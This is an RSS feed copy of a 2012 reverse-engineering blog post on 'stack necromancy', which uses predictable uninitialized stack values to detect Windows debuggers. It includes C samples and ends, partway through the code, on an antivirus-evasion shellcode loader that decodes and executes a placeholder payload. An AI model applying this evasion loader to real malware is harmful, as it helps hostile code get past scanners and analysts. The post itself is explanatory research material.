<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Spare Clock Cycles</title>
	
	<link>http://spareclockcycles.org</link>
	<description>Hacking is freedom.</description>
	<lastBuildDate>Fri, 06 Apr 2012 00:39:57 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/spareclockcycles" /><feedburner:info uri="spareclockcycles" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>Stack Necromancy: Defeating Debuggers By Raising the Dead</title>
		<link>http://feedproxy.google.com/~r/spareclockcycles/~3/LgcHJyJ_8qY/</link>
		<comments>http://spareclockcycles.org/2012/02/14/stack-necromancy-defeating-debuggers-by-raising-the-dead/#comments</comments>
		<pubDate>Tue, 14 Feb 2012 12:23:38 +0000</pubDate>
		<dc:creator>supernothing</dc:creator>
				<category><![CDATA[RE]]></category>
		<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://spareclockcycles.org/?p=785</guid>
		<description><![CDATA[This article presupposes a basic understanding of how function calls and stacks work. If you'd like to learn or need a refresher, Wikipedia is always a good place to start. Introduction Referencing uninitialized memory is a fairly common programming mistake that can cause a variety of seemingly bizarre behaviors in otherwise correct code. For the [...]]]></description>
			<content:encoded><![CDATA[<p>This article presupposes a basic understanding of how function calls and stacks work. If you'd like to learn or need a refresher, Wikipedia is always a <a title="Call Stack - Wikipedia" href="http://en.wikipedia.org/wiki/Call_stack" target="_blank">good place to start</a>.</p>
<h3>Introduction</h3>
<p>Referencing uninitialized memory is a fairly common programming mistake that can cause a variety of seemingly bizarre behaviors in otherwise correct code. For the uninitiated, &nbsp;take a look at&nbsp;<a href="https://www.securecoding.cert.org/confluence/display/seccode/EXP33-C.+Do+not+reference+uninitialized+memory" target="_blank">CERT's secure coding guide</a>&nbsp;for more info. Summarized, the core problem is that one might reuse memory that has already been touched by the application. Because that memory is not cleared automatically for performance reasons, it must be explicitly set to an expected value or one risks introducing unexpected behavior. Uninitialized memory references often go unnoticed, as the code will work just fine if the uninitialized memory doesn't contain an unfortunate value.</p>
<p>Interesting, but what does this have to do with detecting debuggers? Well, contrary to what many think, the value stored at a given uninitialized address can actually be quite predictable, especially when it comes to stack data. This is because the stack normally contains data that was used in previous function calls. If the same series of functions get called prior to a given function getting control, many of the values stored on the dead stack will be&nbsp;identical&nbsp;between runs. What this means is that if a debugger makes any changes whatsoever to a given process's dead stack space by making any extra function calls before our detection function gets run, an application should be able to detect differences between the normal state and the debugged state.</p>
<h3>The Dead Live Again</h3>
<p>Surely Windows wouldn't alter the stack when it's debugging a process...this could cause unanticipated behavior, especially when trying to debug uninitialized memory references! However, it appears that the Windows debugging API does just that. The following is a simplified version of the code I was writing when I first stumbled onto this issue:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;windows.h&gt;</span>
<span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include &quot;tlhelp32.h&quot;</span>
<span style="color: #993333;">void</span> dbgchk<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    HANDLE hSnapshot <span style="color: #339933;">=</span> CreateToolhelp32Snapshot<span style="color: #009900;">&#40;</span>TH32CS_SNAPMODULE<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #666666; font-style: italic;">//Comment out res=-1 for less magic</span>
    DWORD res <span style="color: #339933;">=</span> <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>hSnapshot<span style="color: #009900;">&#41;</span>
        <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Something bad happened&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    MODULEENTRY32 mod<span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>Module32First<span style="color: #009900;">&#40;</span>hSnapshot<span style="color: #339933;">,&amp;</span>mod<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Debugger detected!&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">return</span><span style="color: #339933;">;</span>
     <span style="color: #009900;">&#125;</span>
     CloseHandle<span style="color: #009900;">&#40;</span>hSnapshot<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Not a debugger!&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    dbgchk<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p><a href="http://spareclockcycles.org/downloads/code/snapdetect.tar.bz2" target="_blank">Code and executable</a></p>
<p>When compiled using MinGW32 4.5.4 and run on Windows 7 32/64 bit, this code should correctly detect the presence of a debugger.</p>
<p>Let's look into what exactly is happening here. Upon first glance, it may not appear that anything is too overtly wrong (besides the uninitialized mod variable), and certainly nothing that seems like it should detect the presence of a debugger. One might be tempted to think that the API calls are trying to use some system functionality that behaves differently when debugged, a technique that is already often used in anti-reverse engineering. However, inspection in Olly reveals that this is not the case. Something more subtle is happening here.</p>
<p><a href="http://spareclockcycles.org/wp-content/uploads/2012/02/kernel32_module32first_debugged.png"><img class="aligncenter size-full wp-image-788" title="kernel32_module32first_debugged" src="http://spareclockcycles.org/wp-content/uploads/2012/02/kernel32_module32first_debugged.png" alt="Ollydbg in Mod32First call" width="898" height="721" /></a></p>
<p>As you can see, when we first enter the Module32First function, checks are performed on the mod variable, including one that checks the stack address 0x0022fc84 (which points to dwSize of the MODULEENTRY32 struct passed in) to see if it's greater than 0x243, the size of a MODULEENTRY32 structure. If this check fails, the function returns an error immediately. From the above stack state, this location is set to 0, and we know the check will fail. Because the check passes when we run it without a debugger, we can assume that there must be a different value stored at this address during normal operation. An appropriately placed printf reveals that there is a stack address, 0x0022fd60, in place of the 0 when run without the debugger, causing the function to proceed as normal.</p>
<p>I mentioned earlier that the state of the dead stack is dependent on the functions that have run previously. This helps to explain why the stack would be different when debugged vs not. &nbsp;Most (all?) debuggers on Windows make extensive use of &nbsp;the debugging API during their normal operation, given how easy it is to use and how much power it provides. The debugger can attach to a process in two ways: it can attach at process startup by passing the correct flags to CreateProcess, or it can call DebugActiveProcess to attach to one that is already running. When you open an executable directly in one of these debuggers, it will use the CreateProcess method, and wait for a CREATE_PROCESS_DEBUG_EVENT to occur. During this time, Windows calls all the necessary functions to instantiate the process, and this includes setting up the necessary debugging objects in the process space. Because of this, Windows behaves differently when loading a debugged process than when it's not, and this means (you guessed it!) different function calls, and different dead stack values.</p>
<p>Already, this looks like rather interesting anti-debugging technique. I haven't been able to find any previous description of this technique, but it's entirely possible my Google-fu is just weak. I refer to it as stack necromancy, given that it centers around the manipulation of previously dead stack values. Defeating it automatically seems to require foreknowledge of how exactly how the dead stack should look to an application, which is certainly a higher bar than, say, setting the IsDebugged flag in the PEB to 0. If one can align the stack properly to fail when making certain API calls while being debugged, but pass when not, one can easily create some rather cryptic checks for the presence of a debugger. Any API call that fails when certain values are passed to it could potentially be used to trigger the detection.</p>
<h3>Improving Our Spells</h3>
<p>Now that we know that we can detect the presence of a debugger, and it seems we can do so trivially inside any number of API calls: what next? A reverse engineer can just nop out the check once he finds where it is, and, although it's more subtle than many checks, a dedicated person would track it down. It would be nice if we could also make the entire operation of an executable dependent on the differences in the stack. There are two obvious ways to do this: use the previously shown tricks to cause a large number of necessary API calls to fail during debugging (for instance, by abusing LoadLibrary), or use values pulled off the stack to encrypt various necessary values. Thankfully for us, the dead stack is actually relatively stable, so we can do both of these. Both of these examples are still relatively easy to patch, but serve to show the kinds of things one might do.</p>
<p>Here's an example of some stack necromancy using the LoadLibrary API call, a rather straightforward function applications often call during normal execution that would cause the application to fail if the call failed:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;windows.h&gt;</span>
<span style="color: #339933;">#include &lt;stdio.h&gt;</span>
&nbsp;
<span style="color: #993333;">void</span> dbgchk7<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #993333;">char</span> res<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">298</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">char</span> lib<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">12</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;kernel32.dll&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>LoadLibrary<span style="color: #009900;">&#40;</span>lib<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Win 7: Not debugged!<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">return</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Win 7: Debugged!<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">void</span> dbgchkxp<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #993333;">char</span> res<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">53</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">char</span> lib<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">12</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;kernel32.dll&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>LoadLibrary<span style="color: #009900;">&#40;</span>lib<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;XP: Not debugged!<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">return</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;XP: Debugged!<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
BOOL chkxp<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    UINT <span style="color: #339933;">*</span>ptr <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>UINT <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>UINT<span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span>ptr<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span> <span style="color: #208080;">0x00FF0000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">|</span><span style="color: #208080;">0xfe0c</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>ptr<span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span><span style="color: #208080;">0xff</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #208080;">0x00</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #666666; font-style: italic;">//Detect OS first to avoid mangling dead stack</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>chkxp<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        dbgchkxp<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">else</span>
        dbgchk7<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p><a href="http://spareclockcycles.org/downloads/code/loadlibrary_detect.tar.bz2" target="_blank">Code and executable</a></p>
<p>Take a minute to look at the above code. Once again, nothing about the actual detection code seems like it should be able to tell whether an application is being debugged or not. This code sample does, in fact, exploit the same issue, but does it in a slightly different way. &nbsp;Rather than making a length field fail a certain check, this code works by omitting the null terminator for the string containing the module to be loaded. This means the LoadLibrary call will fail or succeed depending on the character immediately following the lib array. &nbsp;By placing the array in a position on the stack that will have a different value stored immediately after the string (null or otherwise), we can get the call to behave differently when being debugged.</p>
<p>To get this to work on both XP and Windows 7, &nbsp;I had to do two main things: first, detect the OS without screwing up the stack, and second, push the lib array to an appropriate place by adding local variables to our chosen function. The OS detection is not strictly necessary in this case, but it made my life easier, as the first LoadLibrary call will significantly change the stack, making appropriate values more difficult to find, and finding a single offset that works on both is a bit frustrating. Normally, OS detection would be done through a Windows API call, but we again want to have as small of a footprint as possible to avoid messing up our stack. &nbsp;Instead, we can do it with the same technique we're using to detect debugger presence, by simply grabbing a chosen value off of the stack and checking if it matches an expected value.</p>
<p>The offsets used here were rather arbitrarily chosen, largely by glancing over dumps of the stack state at the desired time while debugged vs not. I have yet to come up with a good way to automate that process, beyond a few stupid bits of code to print out portions of the&nbsp;uninitialized&nbsp;stack. I have found that places higher up (lower addresses) in the dead stack are more likely to be different, probably because they are largely left over from process setup and are less likely to have been overwritten by identical calls. However, the values lower in the dead stack seem to be more stable, so there's a tradeoff there. The nice thing about the approach is that there's no shortage of possible values to choose from; you're bound to find suitable values for what you want to do.</p>
<p>Here is an example of using stack necromancy to pull encryption values out of the stack graveyard, which causes the application to fail if it is being debugged:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;windows.h&gt;</span>
<span style="color: #339933;">#include &lt;stdio.h&gt;</span>
&nbsp;
UCHAR msg<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x06</span><span style="color: #660099; font-weight: bold;">\x30</span><span style="color: #660099; font-weight: bold;">\x2b</span><span style="color: #660099; font-weight: bold;">\x2c</span><span style="color: #660099; font-weight: bold;">\x29</span><span style="color: #660099; font-weight: bold;">\x62</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x2d</span><span style="color: #660099; font-weight: bold;">\x30</span><span style="color: #660099; font-weight: bold;">\x27</span><span style="color: #660099; font-weight: bold;">\x62</span><span style="color: #660099; font-weight: bold;">\x2d</span><span style="color: #660099; font-weight: bold;">\x34</span><span style="color: #660099; font-weight: bold;">\x23</span><span style="color: #660099; font-weight: bold;">\x2e</span><span style="color: #660099; font-weight: bold;">\x36</span><span style="color: #660099; font-weight: bold;">\x2b</span><span style="color: #660099; font-weight: bold;">\x2c</span><span style="color: #660099; font-weight: bold;">\x27</span><span style="color: #660099; font-weight: bold;">\x6c</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #993333;">void</span> print_results<span style="color: #009900;">&#40;</span>UCHAR key<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #993333;">int</span> i<span style="color: #339933;">;</span>
    <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>i<span style="color: #339933;">&lt;</span><span style="color: #0000dd;">20</span><span style="color: #339933;">;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
       msg<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> msg<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span> <span style="color: #339933;">^</span> key<span style="color: #339933;">;</span>
    <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span>msg<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>Written by supernothing, level 90 necromancer.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">void</span> decodemessage<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #666666; font-style: italic;">//Get base address</span>
    UINT <span style="color: #339933;">*</span>ptr <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>UINT <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>UINT<span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span>ptr<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span> <span style="color: #208080;">0x00FF0000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">|</span><span style="color: #208080;">0xfe0c</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>ptr<span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span><span style="color: #208080;">0xff</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #208080;">0x00</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #666666; font-style: italic;">//WinXP 32bit</span>
        ptr <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>UINT <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>UINT<span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span>ptr<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span> <span style="color: #208080;">0x00FF0000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">|</span><span style="color: #208080;">0xfdc8</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        print_results<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>ptr<span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span><span style="color: #208080;">0xff0000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&gt;&gt;</span><span style="color: #0000dd;">16</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">^</span><span style="color: #208080;">0x83</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #666666; font-style: italic;">//Win7 32 bit and 64 bit</span>
        ptr <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>UINT <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>UINT<span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span>ptr<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span> <span style="color: #208080;">0x00FF0000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">|</span><span style="color: #208080;">0xfdd0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        print_results<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>ptr<span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span><span style="color: #208080;">0xff</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">^</span><span style="color: #208080;">0xb6</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    decodemessage<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p><a href="http://spareclockcycles.org/downloads/code/ovaltine.tar.bz2" target="_blank">Code and executable</a></p>
<p>While this is a somewhat simple example (I doubt a single byte XOR key is going to worry anyone), it serves to show that it is possible to resurrect dead stack values and use them as encryption keys. This code was tested on 32 bit Win XP and 32/64 bit Win 7 and will work correctly when run normally, but will fail miserably when run in a debugger. In this example, I simply find which system I'm running on and map the appropriate byte to the correct key via an XOR. This one uses the same hardcoded offset OS version check offset (0xfe0c) as our previous example for convenience. It then pulls the appropriate value from known stable addresses and uses it as a key. This same sort of code could easily be used to generate a much larger key and be used with a decent crypto algorithm.</p>
<p>This technique is not only useful when it comes to debuggers, however: it is arguably even more useful in defeating the dynamic code emulation used by antivirus applications to try and detect packed code. AV applications also make telltale changes to the stack space, which can allow an attacker to prevent their code from being dynamically unpacked in one of these environments. In a previous post, I talked about <a href="http://spareclockcycles.org/2010/11/27/avoiding-av-detection/" target="_blank">writing a simple crypter </a>to bypass AV. In it, I used a timing attack to defeat emulation. We can see from these VirusTotal results that simply by using the same stack necromancy we used above, we can achieve similar results: <a href="https://www.virustotal.com/file/9ba6b7607efabc32e391e797df2cacd84a423049324d4af486dd84ed7e6503e4/analysis/1329216499/" target="_blank">without emulation defeat</a> / <a href="https://www.virustotal.com/file/c4b880d069be6107bde5b90ad3f781f7af7a562e311c4910b700af12d79f4d8a/analysis/1329216561/" target="_blank">with emulation defeat</a>. The detection by CAT-QuickHeal is based on a generic unpacking signature which appears to center around large buffers being XORed, as it still throws a detection when the shellcode is non-functional.</p>
<p>Without defeat</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;windows.h&gt;</span>
UCHAR sc<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> YOUR_SHELLCODE_HERE<span style="color: #339933;">;</span>
&nbsp;
UCHAR key<span style="color: #339933;">;</span>
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    key <span style="color: #339933;">=</span> <span style="color: #208080;">0x42</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">int</span> SC_LEN <span style="color: #339933;">=</span> <span style="color: #0000dd;">2477</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">int</span> i<span style="color: #339933;">;</span>
    UCHAR<span style="color: #339933;">*</span> tmp <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>malloc<span style="color: #009900;">&#40;</span>SC_LEN<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> i<span style="color: #339933;">&lt;</span>SC_LEN<span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        tmp<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span>sc<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #339933;">^</span>key<span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>tmp<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>With defeat</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;windows.h&gt;</span>
UCHAR sc<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> YOUR_SHELLCODE_HERE<span style="color: #339933;">;</span>
&nbsp;
UCHAR key<span style="color: #339933;">;</span>
&nbsp;
<span style="color: #993333;">void</span> getdecodeinfo<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #666666; font-style: italic;">//Get base address</span>
    UINT ptr <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span>ptr<span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span><span style="color: #208080;">0x00FF0000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #208080;">0xfb1c</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>ptr<span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;</span><span style="color: #208080;">0xff</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #208080;">0x24</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #666666; font-style: italic;">//WinXP 32bit</span>
